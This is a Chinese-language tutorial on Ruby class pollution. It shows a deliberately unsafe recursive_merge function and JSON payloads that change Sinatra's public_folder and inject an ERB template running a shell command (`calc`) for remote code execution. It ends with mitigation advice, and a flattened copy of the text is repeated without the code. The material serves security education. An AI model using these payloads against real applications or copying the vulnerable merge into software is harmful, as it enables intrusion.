浅析Ruby类污染及其在Sinatra框架下的利用
字数 1431 2025-08-22 12:23:18

Ruby类污染及其在Sinatra框架下的利用分析

1. Ruby类污染概述

Ruby类污染(Class Pollution)是一种类似于JavaScript原型链污染的安全漏洞,两者都是由于对象进行不安全的递归合并导致的。这种漏洞允许攻击者通过精心构造的输入修改类的属性或方法,可能导致严重的安全问题。

1.1 与JavaScript原型链污染的对比

  • 相似点

    • 都是通过递归合并操作实现的
    • 都利用了语言的对象继承机制
    • 都可以污染共享的属性或方法
  • 不同点

    • Ruby使用类继承体系而非原型链
    • Ruby的污染目标通常是类变量(@@)或实例变量(@)
    • Ruby的继承关系通过superclass/subclasses访问

2. Ruby类基础

2.1 类定义与变量

class Person
  @@cnt = 1  # 类变量(类似静态变量)
  
  # 定义属性访问器
  attr_accessor :name, :age
  
  def initialize(name, age)
    @name = name  # 实例变量
    @age = age
  end
  
  def greet
    "My name is #{@name} and I am #{@age} years old."
  end
end

2.2 Ruby对象特殊方法

方法 描述
attr_accessor 定义实例变量的getter和setter
initialize 类的构造方法
to_s 类似toString方法
inspect 用于debug的对象表示
method_missing 调用不存在方法时触发
respond_to? 检查对象是否有某方法
send 根据方法名调用(包括私有方法)
public_send 调用公开方法

2.3 类继承体系

Ruby中所有类的顶层父类是BasicObject

class MyClass; end
MyClass.superclass    # => Object
Object.superclass     # => BasicObject
BasicObject.superclass # => nil

关键属性:

  • class - 当前对象的类
  • superclass - 父类
  • subclasses - 子类数组
  • instance_variables - 实例变量名数组
  • class_variables - 类变量名数组

3. 不安全的递归合并

3.1 典型漏洞代码

def recursive_merge(original, additional, current_obj = original)
  additional.each do |key, value|
    if value.is_a?(Hash)
      if current_obj.respond_to?(key)
        next_obj = current_obj.public_send(key)
        recursive_merge(original, value, next_obj)
      else
        new_object = Object.new
        current_obj.instance_variable_set("@#{key}", new_object)
        current_obj.singleton_class.attr_accessor key
      end
    else
      current_obj.instance_variable_set("@#{key}", value)
      current_obj.singleton_class.attr_accessor key
    end
  end
  original
end

3.2 漏洞分析

  1. 遍历additional对象中的每个键值对
  2. 处理嵌套哈希:
    • 如果当前对象响应键名:递归合并
    • 否则:创建新对象并设置为实例变量
  3. 处理非哈希值:
    • 直接在对象上设置实例变量
    • 创建访问器方法

4. 类污染利用场景

4.1 污染当前对象

class A
  attr_accessor :x
  
  def initialize(x)
    @x = x
  end
  
  def merge_with(additional)
    recursive_merge(self, additional)
  end
  
  def check
    protected_methods().each do |method|
      instance_eval(method.to_s)
    end
  end
end

# 利用
a = A.new(1)
a.merge_with({"protected_methods": ["`calc`"]})
a.check  # 执行calc

4.2 污染父类

class Base
  @@cmd = "puts 1"
end

class Cmder < Base
  def merge_with(additional)
    recursive_merge(self, additional)
  end
  
  def check
    eval(Base.cmd)  # 实际访问的是实例变量@cmd
  end
end

# 利用
c = Cmder.new
c.merge_with({"class": {"superclass": {"cmd": "`calc`"}}})
c.check  # 执行calc

注意:这会创建实例变量@cmd而非修改类变量@@cmd

4.3 污染随机子类

class Cmder
  @@cmd = "puts 1"
  
  def check
    eval(Cmder.cmd)
  end
end

class Innocent
  def merge_with(additional)
    recursive_merge(self, additional)
  end
end

# 利用 - 通过多次尝试污染Cmder
1000.times do
  i = Innocent.new
  i.merge_with({
    "class": {
      "superclass": {
        "subclasses": {
          "sample": {
            "cmd": "`calc`"
          }
        }
      }
    }
  })
end

c = Cmder.new
c.check  # 有概率执行calc

5. Sinatra框架下的利用

5.1 修改静态目录

Sinatra默认配置静态目录的方式:

set :public_folder, File.dirname(__FILE__) + '/static'

污染payload:

{
  "class": {
    "superclass": {
      "superclass": {
        "subclasses": {
          "sample": {
            "public_folder": "E:/Server"
          }
        }
      }
    }
  }
}

5.2 模板注入RCE

Sinatra模板系统:

template :index do
  '%div.title Hello World!'
end

get('/') do
  erb :hello
end

污染templates属性实现RCE:

{
  "class": {
    "superclass": {
      "superclass": {
        "subclasses": {
          "sample": {
            "templates": {
              "hello": "<%= `calc` %>"
            }
          }
        }
      }
    }
  }
}

6. 防御措施

  1. 避免不安全的递归合并

    • 对合并操作进行严格的白名单控制
    • 限制合并深度
  2. 输入验证

    • 验证所有外部输入
    • 禁止特殊符号和危险方法名
  3. 使用安全的方法

    • 避免使用instance_evalsend等危险方法
    • 使用public_send替代send
  4. 最小权限原则

    • 限制应用程序运行权限
    • 使用沙箱环境
  5. 监控和日志

    • 记录可疑的类修改操作
    • 设置警报机制

7. 总结

Ruby类污染是一种强大的攻击技术,通过不安全的递归合并操作,攻击者可以:

  • 修改类的行为和属性
  • 覆盖关键配置
  • 实现RCE等严重攻击

在Sinatra等框架中,这种技术尤其危险,因为它可以:

  • 修改框架的核心配置
  • 注入恶意模板
  • 改变应用程序的行为

开发人员应当充分了解这种攻击方式,并在代码中实施适当的防护措施。

Ruby类污染及其在Sinatra框架下的利用分析 1. Ruby类污染概述 Ruby类污染(Class Pollution)是一种类似于JavaScript原型链污染的安全漏洞,两者都是由于对象进行不安全的递归合并导致的。这种漏洞允许攻击者通过精心构造的输入修改类的属性或方法,可能导致严重的安全问题。 1.1 与JavaScript原型链污染的对比 相似点 : 都是通过递归合并操作实现的 都利用了语言的对象继承机制 都可以污染共享的属性或方法 不同点 : Ruby使用类继承体系而非原型链 Ruby的污染目标通常是类变量(@@)或实例变量(@) Ruby的继承关系通过superclass/subclasses访问 2. Ruby类基础 2.1 类定义与变量 2.2 Ruby对象特殊方法 | 方法 | 描述 | |------|------| | attr_accessor | 定义实例变量的getter和setter | | initialize | 类的构造方法 | | to_s | 类似toString方法 | | inspect | 用于debug的对象表示 | | method_missing | 调用不存在方法时触发 | | respond_to? | 检查对象是否有某方法 | | send | 根据方法名调用(包括私有方法) | | public_send | 调用公开方法 | 2.3 类继承体系 Ruby中所有类的顶层父类是 BasicObject : 关键属性: class - 当前对象的类 superclass - 父类 subclasses - 子类数组 instance_variables - 实例变量名数组 class_variables - 类变量名数组 3. 不安全的递归合并 3.1 典型漏洞代码 3.2 漏洞分析 遍历 additional 对象中的每个键值对 处理嵌套哈希: 如果当前对象响应键名:递归合并 否则:创建新对象并设置为实例变量 处理非哈希值: 直接在对象上设置实例变量 创建访问器方法 4. 类污染利用场景 4.1 污染当前对象 4.2 污染父类 注意:这会创建实例变量 @cmd 而非修改类变量 @@cmd 4.3 污染随机子类 5. Sinatra框架下的利用 5.1 修改静态目录 Sinatra默认配置静态目录的方式: 污染payload: 5.2 模板注入RCE Sinatra模板系统: 污染 templates 属性实现RCE: 6. 防御措施 避免不安全的递归合并 : 对合并操作进行严格的白名单控制 限制合并深度 输入验证 : 验证所有外部输入 禁止特殊符号和危险方法名 使用安全的方法 : 避免使用 instance_eval 、 send 等危险方法 使用 public_send 替代 send 最小权限原则 : 限制应用程序运行权限 使用沙箱环境 监控和日志 : 记录可疑的类修改操作 设置警报机制 7. 总结 Ruby类污染是一种强大的攻击技术,通过不安全的递归合并操作,攻击者可以: 修改类的行为和属性 覆盖关键配置 实现RCE等严重攻击 在Sinatra等框架中,这种技术尤其危险,因为它可以: 修改框架的核心配置 注入恶意模板 改变应用程序的行为 开发人员应当充分了解这种攻击方式,并在代码中实施适当的防护措施。